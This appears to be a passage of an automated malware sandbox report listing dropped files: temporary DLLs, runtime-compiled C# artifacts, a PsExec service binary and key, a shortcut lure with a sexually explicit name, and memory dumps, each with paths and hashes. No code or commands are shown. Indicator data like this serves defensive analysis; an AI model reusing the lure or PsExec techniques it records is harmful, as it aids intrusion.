                                                        jm024thu.dll
                                                        • Path C:\Users\Admin\AppData\Local\Temp\jm024thu\jm024thu.dll
                                                        • Size 3KB
                                                        • SHA256 f1c871ed5aa6999c8856b59d681e8125dc3c761fff2f9536413cebfbd1262279
                                                        • MD5 SHA1 SHA512 TLSH
                                                        Submit Download

                                                        jmeweqc3.dll
                                                        • Path C:\Users\Admin\AppData\Local\Temp\jmeweqc3\jmeweqc3.dll
                                                        • Size 3KB
                                                        • SHA256 0b15bba007280071ae5984dd257ac0e13de2387d79d8e78458c2b531c54d55d2
                                                        • MD5 SHA1 SHA512 TLSH
                                                        Submit Download

                                                        wmsetup.log
                                                        • Path C:\Users\Admin\AppData\Local\Temp\wmsetup.log
                                                        • Size 1KB
                                                        • SHA256 233075c7a7c9299c8d02abcac7764b921188d8218d2a503c02e78232d1ae4232
                                                        • MD5 SHA1 SHA512 TLSH
                                                        Submit Download

                                                        teenpussyfeetandass.mp4.lnk
                                                        • Path C:\Users\Admin\AppData\Local\Temp\​PACK8\teenpussyfeetandass.mp4.lnk
                                                        • Size 1KB
                                                        • SHA256 ff62b534da1f5bb2865bd3b9bd2f22b306c352bedcda688be800b3df71104010
                                                        • MD5 SHA1 SHA512 TLSH
                                                        Submit Download

                                                        PSEXEC-OOIMFBGF-69A142A4.key
                                                        • Path C:\Windows\PSEXEC-OOIMFBGF-69A142A4.key
                                                        • Size 16B
                                                        • SHA256 e9d40762d134f47061f95f66b0224f4af150477cc77e09d8759503631d18f681
                                                        • MD5 SHA1 SHA512
                                                        Submit Download

                                                        PSEXESVC.exe
                                                        • Path C:\Windows\PSEXESVC.exe
                                                        • Size 189KB
                                                        • SHA256 cc14df781475ef0f3f2c441d03a622ea67cd86967526f8758ead6f45174db78e
                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                        Submit Download

                                                        RESB31A.tmp
                                                        • Path C:\Windows\SystemTemp\RESB31A.tmp
                                                        • Size 1KB
                                                        • SHA256 dd853a5351b881a88961dd706adcf3f2929964f23213da87650583e5817712da
                                                        • MD5 SHA1 SHA512 TLSH
                                                        Submit Download

                                                        cwthwrvv.dll
                                                        • Path C:\Windows\SystemTemp\cwthwrvv\cwthwrvv.dll
                                                        • Size 3KB
                                                        • SHA256 6eddbaf729e4812c4021c36a22562f7f215c1d0c956fded1824067258a5e75e4
                                                        • MD5 SHA1 SHA512 TLSH
                                                        Submit Download

                                                        StartupProfileData-NonInteractive
                                                        • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                        • Size 1KB
                                                        • SHA256 a4accc11a488dad5b7f5cf9369fb0008f1c14baf2ecfa6cd0f1cecb8ac51f493
                                                        • MD5 SHA1 SHA512 TLSH
                                                        Submit Download

                                                        3ztoo1zh.0.cs
                                                        • Path \??\c:\Users\Admin\AppData\Local\Temp\3ztoo1zh\3ztoo1zh.0.cs
                                                        • Size 376B
                                                        • SHA256 55903f625d225a5e452a7ddd9052498550908c911735fe85e231bfff1cbbab8d
                                                        • MD5 SHA1 SHA512 TLSH
                                                        Submit Download

                                                        3ztoo1zh.cmdline
                                                        • Path \??\c:\Users\Admin\AppData\Local\Temp\3ztoo1zh\3ztoo1zh.cmdline
                                                        • Size 369B
                                                        • SHA256 260ab12efbf1da231a5d60803f4434c7382f4000abea41acd3c96081488fe85b
                                                        • MD5 SHA1 SHA512 TLSH
                                                        Submit Download

                                                        CSC3911AF110964F40BED222C7757A9C92.TMP
                                                        • Path \??\c:\Users\Admin\AppData\Local\Temp\3ztoo1zh\CSC3911AF110964F40BED222C7757A9C92.TMP
                                                        • Size 652B
                                                        • SHA256 fdba33ffb619455ae8ea139881f0113aca8155e7769614ca7d1ebe5a2a914c5c
                                                        • MD5 SHA1 SHA512 TLSH
                                                        Submit Download

                                                        CSC6305882536464CAE85A672C78867E96.TMP
                                                        • Path \??\c:\Users\Admin\AppData\Local\Temp\g12wxcrb\CSC6305882536464CAE85A672C78867E96.TMP
                                                        • Size 652B
                                                        • SHA256 be088193710e84f1ecb51539667f53cdf3a32397886594f50bdae1f713a0af75
                                                        • MD5 SHA1 SHA512 TLSH
                                                        Submit Download

                                                        g12wxcrb.cmdline
                                                        • Path \??\c:\Users\Admin\AppData\Local\Temp\g12wxcrb\g12wxcrb.cmdline
                                                        • Size 369B
                                                        • SHA256 66f1b69a40a181a0edb65c66efecf91db205ad955eb37745118913bd563caa1a
                                                        • MD5 SHA1 SHA512 TLSH
                                                        Submit Download

                                                        CSC9D14961FAA042C7A1D0878A441756A6.TMP
                                                        • Path \??\c:\Users\Admin\AppData\Local\Temp\jm024thu\CSC9D14961FAA042C7A1D0878A441756A6.TMP
                                                        • Size 652B
                                                        • SHA256 83535bb5eebe88d7cc80002819e7bfe71ff325a3476e2eb3163e04c13a864a87
                                                        • MD5 SHA1 SHA512 TLSH
                                                        Submit Download

                                                        jm024thu.0.cs
                                                        • Path \??\c:\Users\Admin\AppData\Local\Temp\jm024thu\jm024thu.0.cs
                                                        • Size 290B
                                                        • SHA256 e4a6569db6414ecaca0606e3219109df10ca83e6afd5c249505e0abd6fad7fbc
                                                        • MD5 SHA1 SHA512 TLSH
                                                        Submit Download

                                                        jm024thu.cmdline
                                                        • Path \??\c:\Users\Admin\AppData\Local\Temp\jm024thu\jm024thu.cmdline
                                                        • Size 369B
                                                        • SHA256 a70fc6a6d111c781ecde3b382bc5fa0841992df4bfdd87ba8daf30b7c8308489
                                                        • MD5 SHA1 SHA512 TLSH
                                                        Submit Download

                                                        CSCF47BFD2B7C9041119C4CA257AF1E153.TMP
                                                        • Path \??\c:\Users\Admin\AppData\Local\Temp\jmeweqc3\CSCF47BFD2B7C9041119C4CA257AF1E153.TMP
                                                        • Size 652B
                                                        • SHA256 eadc3491328bd360a607601483f7be86711554d237fcd7d3dfbe1648fa730f2d
                                                        • MD5 SHA1 SHA512 TLSH
                                                        Submit Download

                                                        jmeweqc3.0.cs
                                                        • Path \??\c:\Users\Admin\AppData\Local\Temp\jmeweqc3\jmeweqc3.0.cs
                                                        • Size 184B
                                                        • SHA256 6646b73b09f82115cdd2afdbf5c716a21bf2bc517f70146d925ea49ebf41fbe4
                                                        • MD5 SHA1 SHA512 TLSH
                                                        Submit Download

                                                        jmeweqc3.cmdline
                                                        • Path \??\c:\Users\Admin\AppData\Local\Temp\jmeweqc3\jmeweqc3.cmdline
                                                        • Size 369B
                                                        • SHA256 8eaaf1dde650ea325a7e888b632e20d5262cf1411f6fbc48eefefe568d2e9aa9
                                                        • MD5 SHA1 SHA512 TLSH
                                                        Submit Download

                                                        CSCD93E655A431D4BB496D377965918B9C9.TMP
                                                        • Path \??\c:\Windows\SystemTemp\cwthwrvv\CSCD93E655A431D4BB496D377965918B9C9.TMP
                                                        • Size 652B
                                                        • SHA256 adcc0d23b47a7ff63c91bcdfb720a4ec1c068d2ecac9ecd8c77bcca08bf5d6e8
                                                        • MD5 SHA1 SHA512 TLSH
                                                        Submit Download

                                                        cwthwrvv.cmdline
                                                        • Path \??\c:\Windows\SystemTemp\cwthwrvv\cwthwrvv.cmdline
                                                        • Size 345B
                                                        • SHA256 aed27b427f8208e991808be7c8d40cce0c6e16704012f3b59d3acfd0286f7d99
                                                        • MD5 SHA1 SHA512 TLSH
                                                        Submit Download

                                                        memory/3000-124-0x0000014275DE0000-0x0000014275DFA000-memory.dmp
                                                        Download

                                                        memory/3000-125-0x0000014275FD0000-0x0000014275FE6000-memory.dmp
                                                        Download

                                                        memory/4864-171-0x0000019BBC8C0000-0x0000019BBC8C8000-memory.dmp
                                                        Download

                                                        memory/4864-366-0x0000019BD5BD0000-0x0000019BD5BD8000-memory.dmp
                                                        Download

                                                        memory/4864-348-0x0000019BD5520000-0x0000019BD553A000-memory.dmp
                                                        Download

                                                        memory/4864-347-0x0000019BD53A0000-0x0000019BD53AE000-memory.dmp
                                                        Download

                                                        memory/4864-361-0x0000019BD5BC0000-0x0000019BD5BCA000-memory.dmp
                                                        Download

                                                        memory/4864-368-0x0000019BD5C10000-0x0000019BD5C1A000-memory.dmp
                                                        Download

                                                        memory/4864-367-0x0000019BD5BE0000-0x0000019BD5BE6000-memory.dmp
                                                        Download

                                                        memory/4864-364-0x0000019BD5BF0000-0x0000019BD5C0C000-memory.dmp
                                                        Download

                                                        memory/4888-143-0x000001770DA20000-0x000001770DA28000-memory.dmp
                                                        Download

                                                        memory/4920-66-0x0000025CDB610000-0x0000025CDB618000-memory.dmp
                                                        Download

                                                        memory/4920-102-0x0000025CDB930000-0x0000025CDB93A000-memory.dmp
                                                        Download

                                                        memory/4920-49-0x0000025CDB620000-0x0000025CDB642000-memory.dmp
                                                        Download

                                                        memory/4920-101-0x0000025CDBB70000-0x0000025CDBC22000-memory.dmp
                                                        Download

                                                        memory/4920-79-0x0000025CDB650000-0x0000025CDB658000-memory.dmp
                                                        Download

                                                        memory/4920-103-0x0000025CDBDA0000-0x0000025CDBDBE000-memory.dmp
                                                        Download

                                                        memory/4920-92-0x0000025CDB7F0000-0x0000025CDB7F8000-memory.dmp
                                                        Download

                                                        memory/4920-100-0x0000025CDB940000-0x0000025CDB95E000-memory.dmp
                                                        Download

                                                        memory/5156-178-0x00000265801E0000-0x00000265802E0000-memory.dmp
                                                        Download

                                                        memory/5156-196-0x0000026594370000-0x0000026594390000-memory.dmp
                                                        Download

                                                        memory/5156-192-0x0000026581DE0000-0x0000026581E00000-memory.dmp
                                                        Download

                                                        memory/5156-182-0x0000026581A20000-0x0000026581A40000-memory.dmp
                                                        Download

                                                        memory/5156-183-0x0000026581E20000-0x0000026581F20000-memory.dmp
                                                        Download

                                                        memory/5156-179-0x00000265801E0000-0x00000265802E0000-memory.dmp
                                                        Download

                                                        memory/5932-41-0x0000000008200000-0x0000000008210000-memory.dmp
                                                        Download

                                                        memory/5932-39-0x0000000008200000-0x0000000008210000-memory.dmp
                                                        Download

                                                        memory/5932-40-0x0000000008200000-0x0000000008210000-memory.dmp
                                                        Download

                                                        memory/5932-51-0x0000000008200000-0x0000000008210000-memory.dmp
                                                        Download

                                                        memory/5932-50-0x0000000008200000-0x0000000008210000-memory.dmp
                                                        Download

                                                        memory/5932-53-0x0000000008200000-0x0000000008210000-memory.dmp
                                                        Download

                                                        memory/5932-52-0x0000000008200000-0x0000000008210000-memory.dmp
                                                        Download

                                                        memory/5932-38-0x0000000008200000-0x0000000008210000-memory.dmp
                                                        Download

                                                        memory/5932-385-0x0000000005310000-0x0000000005320000-memory.dmp
                                                        Download

                                                        memory/5932-390-0x0000000005310000-0x0000000005320000-memory.dmp
                                                        Download